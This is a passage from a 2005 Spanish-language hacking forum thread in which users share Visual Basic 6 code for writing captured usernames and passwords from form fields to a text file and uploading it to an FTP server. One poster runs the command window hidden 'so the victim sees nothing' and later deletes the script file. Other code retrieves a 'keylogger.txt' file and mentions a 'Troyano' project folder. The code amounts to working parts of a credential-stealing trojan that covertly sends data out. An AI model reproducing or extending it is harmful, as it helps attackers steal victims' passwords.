elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  mandar txt a email
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 Ir Abajo Respuesta Imprimir
Autor Tema: mandar txt a email  (Leído 7,392 veces)
d@r10

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: mandar txt a email
« Respuesta #10 en: 17 Octubre 2005, 00:08 am »

Código:
shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com",vbhide

shell » Ejecuta...
cmd.exe » La aplicación command.exe
/c » Con la siguiente serie de comandos...
ftp » Inicia el servicio FTP.
-s:C:\datos.txt » Llama a dicho archivo para que ejecute todas las líneas que contengan.
ftp.hosting.com » Servidor con el que se realizará los servicios.
vbhide » Ejecuta la ventana del msdos en modo oculto para que la victima no vea nada...

hola amigo hoy quize probarlo y nada no puede  :(
por q cual fue mi ??? error en q me qquivoque hize de todas las formas y nada  ???
mi nombre usuario pasword lo demas normal y nada
por fa ayudenme mi trabajo esta a un asi

Open "c:\dario.txt" For Append As #1
        Write #1, Text1.Text
        Write #1, Text2.Text
    Close #1
ademas unos de mis  intentos borro el contenido del text1 y text2 y me salio con suario paswords byess escritos ??? sera por q en tu ejm esta en output por fa espero q me ayudes  ???


En línea

yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: mandar txt a email
« Respuesta #11 en: 17 Octubre 2005, 16:52 pm »

Prueba utilizando PUT en vez de WRITE.


En línea

d@r10

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: mandar txt a email
« Respuesta #12 en: 18 Octubre 2005, 22:37 pm »

Prueba utilizando PUT en vez de WRITE.
man podriasponer como quedaria dicesq le agerege tu codigo o lo ponga  aparte ???
En línea

la caca

Desconectado Desconectado

Mensajes: 60


CACA COLA


Ver Perfil
Re: mandar txt a email
« Respuesta #13 en: 19 Octubre 2005, 02:32 am »

la verdad que si te conviene por FTP porque incluso de ser desconfiables los servidores de mail, NO ahi ningun servidor SMTP (para mail) que deje mandar anonimamente los mail, es decir que ahi que loggearse primero.

si queres el de FTP:

Código:
'con API's
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
    (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
    ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
    (ByVal hInternetSession As Long, ByVal sServerName As String, _
    ByVal nServerPort As Integer, ByVal sUsername As String, _
    ByVal sPassword As String, ByVal lService As Long, _
    ByVal lFlags As Long, ByVal lContext As Long) As Long

    Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
    (ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
    ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, _
    ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, _
    ByVal dwContext As Long) As Boolean
   

   

Private Sub Command1_Click()
lngINet = InternetOpen("MyFTP Control", 1, vbNullString, vbNullString, 0)
lngINetConn = InternetConnect(lngINet, "servidor", 0, _
    "usuario", "contraseña", 1, 0, 0)
blnRC = FtpGetFile(lngINetConn, "www\hola.txt", "c:\prueba.txt", 0, 0, 1, 0) 'obtenemos el archivo que esta dentro de la carpeta www y lo metemos en C:\ con el nombre de PRUEBA.txt
End Sub [\code]


si tengo error corriganme. si no queres por medio de api podes usar el control INTERNET TRANSFER CONTROL:


Private Function ITCReady(ShowMessage As Boolean)
'Chekea el estado del ITC  (poner un INTERNET TRANSFER CONTROL EN EL FORMULARIO), si esta realizando una operacion no hacer nada hasta que termine
If itc.StillExecuting Then
    ITCReady = False
    If ShowMessage Then
        MsgBox "Espere por favor, todavia trabajando", vbInformation + vbOKOnly, "Ocupado"
    End If
Else
    ITCReady = True
End If
End Function

Private Sub Command1_Click()
On Error Resume Next
'Colocar un label llamado LBLSTATUS
lblstatus = "Conectando"
Dim server As String
server = "servidor"
Dim username As String
username = "usuario"
Dim password As String
password = "contraseña"
'Establecemos el protocolo y el server y el usuario
itc.Protocol = icFTP
itc.URL = server
itc.username = username
itc.Cancel
'Establecemos el password y entramos
itc.password = password
itc.RequestTimeout = 40
itc.Execute , "DIR" 'hace dir
Do While itc.StillExecuting
    DoEvents: DoEvents: DoEvents
Loop
Dim www As String
www = "www/"  'se maneja como el DOS (DIR, CD, CD.., etc..)
Dim archivo As String
archivo = "keylogger.txt" 'establecemos el archivo
itc.Execute , "CD " & Chr(34) & www & Chr(34) 'entramos a la carpeta WWW/ porque asi esta establecido en el string WWW mas arriba
'agregar un list llamado lstremotefile
lstremotefile.Clear
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
itc.Execute , "DIR"
Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
    Kill dir & "/" & archivo
itc.Execute , "GET " & Chr(34) & archivo & Chr(34) & " " & Chr(34) & "D:\" & archivo & Chr(34) 'obtenemos archivo
End Sub

Private Sub Command2_Click()
Dim archivo As String
archivo = "prueba.txt"
Dim dir As String
dir = "D:\franco\Visual Basic\Troyano"
Dim reemplazar As String
reemplazar = "prueba.txt"
'si el ITC no se esta ejecutando enviamos el archivo
If ITCReady(True) = True Then
    'Enviamos el archivo y refrescamos el LISTBOX
    itc.Execute , "PUT " & Chr(34) & dir & "\" & archivo & Chr(34) & " " & Chr(34) & archivo & Chr(34)
    Do Until ITCReady(False)
        DoEvents: DoEvents: DoEvents: DoEvents
    Loop
    lstremotefile.Clear
    itc.Execute , "DIR"
    lblstatus = "Conectado"
End If
End Sub

Private Sub Form_Load()
'ahi que loggerase primero para que funcione pone el control INTERNET TRANSFER CONTROL en el formulario llamado ITC
RecievingSize = False
End Sub

Private Sub ITC_StateChanged(ByVal State As Integer)
'Chequea el estado del ITC y lo pone de acuerdo a lo que esta haciendo
Dim Data1, RemoteFiles
Dim RemoteFileName As String

Select Case State
    Case icResolvingHost
'pone un label llamado LBLSTATUS
        lblstatus = "Buscando direccion IP"
    Case icHostResolved
        lblstatus = "IP ENCONTRADA"
    Case icConnecting
        lblstatus = "Conectando"
    Case icConnected
        lblstatus = "Conectado"
    Case icRequesting
        lblstatus = "enviando pedido"
    Case icRequestSent
        lblstatus = "pedido enviado"
    Case icReceivingResponse
        lblstatus = "Reciviendo respuesta"
    Case icResponseReceived
        lblstatus = "Respuesta recivida"
    Case icDisconnecting
        lblstatus = "Desconectando"
    Case icDisconnected
        lblstatus = "No conectado"
    Case icError
        If itc.ResponseCode = 12030 Then
            lblstatus = "No conectado"
            itc.Cancel
        End If
        If itc.ResponseCode <> 87 Then
            MsgBox itc.ResponseCode & " " & itc.ResponseInfo, vbOKOnly + vbCritical, "Error"
        End If
    Case icResponseCompleted
        'loop hasta conseguir toda la info
        Do While True
            Data1 = itc.GetChunk(4096, icString)
            If Len(Data1) = 0 Then Exit Do
            DoEvents
            RemoteFiles = RemoteFiles & Data1
        Loop
       
        Beep
       
        'si esta reciviendo dice el tamaño y sale de la SUB
        If RecievingSize Then
'pone un listbox llamado LSTREMOTEFILE
            MsgBox "El tamaño del archivo es de: " & lstremotefile.Text & " es " & RemoteFiles & " bytes", vbInformation + vbOKOnly, "Size"
            Exit Sub
        End If
       
        'Loop hasta conesguir los nombres de todos los archivos del LIST
        For i = 1 To Len(RemoteFiles)
            If Mid(RemoteFiles, i, 1) = Chr(13) Then
                If Trim(RemoteFileName) <> "" Then
                    lstremotefile.AddItem RemoteFileName
                    RemoteFileName = ""
                End If
            Else
                If Mid(RemoteFiles, i, 1) <> Chr(10) Then
                    RemoteFileName = RemoteFileName & Mid(RemoteFiles, i, 1)
                End If
            End If
        Next i
End Select
End Sub
Código:



espero que les sirva de ayuda

chau
En línea

algo huele mal.... firma "LA CACA"

la caca

Desconectado Desconectado

Mensajes: 60


CACA COLA


Ver Perfil
Re: mandar txt a email
« Respuesta #14 en: 19 Octubre 2005, 02:34 am »

me confundi perdon jajaj puse el # al final ejje  :P
En línea

algo huele mal.... firma "LA CACA"

ZifuSka

Desconectado Desconectado

Mensajes: 29



Ver Perfil WWW
Re: mandar txt a email
« Respuesta #15 en: 19 Octubre 2005, 02:46 am »

a ver que me aclare.... yo tengo:
Citar
Private Sub Label2_Click()
n = FreeFile(0)
Open "c:\" & txtnombre.Text & "-" & txtPass.Text & ".txt" For Output As #n
Print #n, txtnombre.Text & " / " & txtPass.Text
Close #n
End Sub
ahi se me guarda el archivo txt en c:\*******.txt y como hago para que ese archivo se suba automaticamente a un ftp? eske no me aclaro , losiento  :-[
En línea

Los pesimistas, son optimistas bien informados.
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: mandar txt a email
« Respuesta #16 en: 19 Octubre 2005, 17:05 pm »

Código:
Open "C:\datos.txt" For Output As #1
    Print #1, "usuario"
    Print #1, "contraseña"
    Print #1, "put C:\archivoAsubir.txt archivoSubido.txt"
    Print #1, "bye"
Close #1
Shell "cmd.exe /c ftp -s:C:\datos.txt ftp.hosting.com && del C:\datos.txt", vbHide
En línea

la caca

Desconectado Desconectado

Mensajes: 60


CACA COLA


Ver Perfil
Re: mandar txt a email
« Respuesta #17 en: 19 Octubre 2005, 19:03 pm »

pero con ese codigo abris el CMD (simbolo de sistema)
con el que di yo directamente desde visual basic
En línea

algo huele mal.... firma "LA CACA"

NYlOn


Desconectado Desconectado

Mensajes: 842


OOOOHHHHHH, TARAGÜIIII xDDDDDD


Ver Perfil WWW
Re: mandar txt a email
« Respuesta #18 en: 20 Octubre 2005, 01:53 am »

Citar
me confundi perdon jajaj puse el # al final ejje

Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR

dale click y mira lo q pasa ;)

cya
En línea

ZifuSka

Desconectado Desconectado

Mensajes: 29



Ver Perfil WWW
Re: mandar txt a email
« Respuesta #19 en: 20 Octubre 2005, 02:08 am »

Citar
me confundi perdon jajaj puse el # al final ejje

Arriva a la izquierda de tu post hay 3 botones.. uno dice MODIFICAR

dale click y mira lo q pasa ;)

cya
pues yo los veo arriba a la derecha, y son 2.... citar y modificar...  ::)
En línea

Los pesimistas, son optimistas bien informados.
Páginas: 1 [2] 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Mandar email directo por registro MX
Dudas Generales
peterrr 2 4,186 Último mensaje 25 Noviembre 2010, 04:28 am
por peterrr
Mandar .txt a la impresora
Java
maikmilk 3 3,465 Último mensaje 15 Junio 2012, 14:03 pm
por maikmilk
mandar select por email
PHP
_vicho_ 1 1,994 Último mensaje 20 Noviembre 2012, 22:21 pm
por gowend
Square Cash, envía dinero con sólo mandar un email
Noticias
wolfbcn 0 725 Último mensaje 16 Octubre 2013, 18:37 pm
por wolfbcn
Usar un dominio de correo electrónico ya creado para mandar un email
Dudas Generales
Jhonny_Quel008 1 441 Último mensaje 11 Mayo 2021, 23:58 pm
por el-brujo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines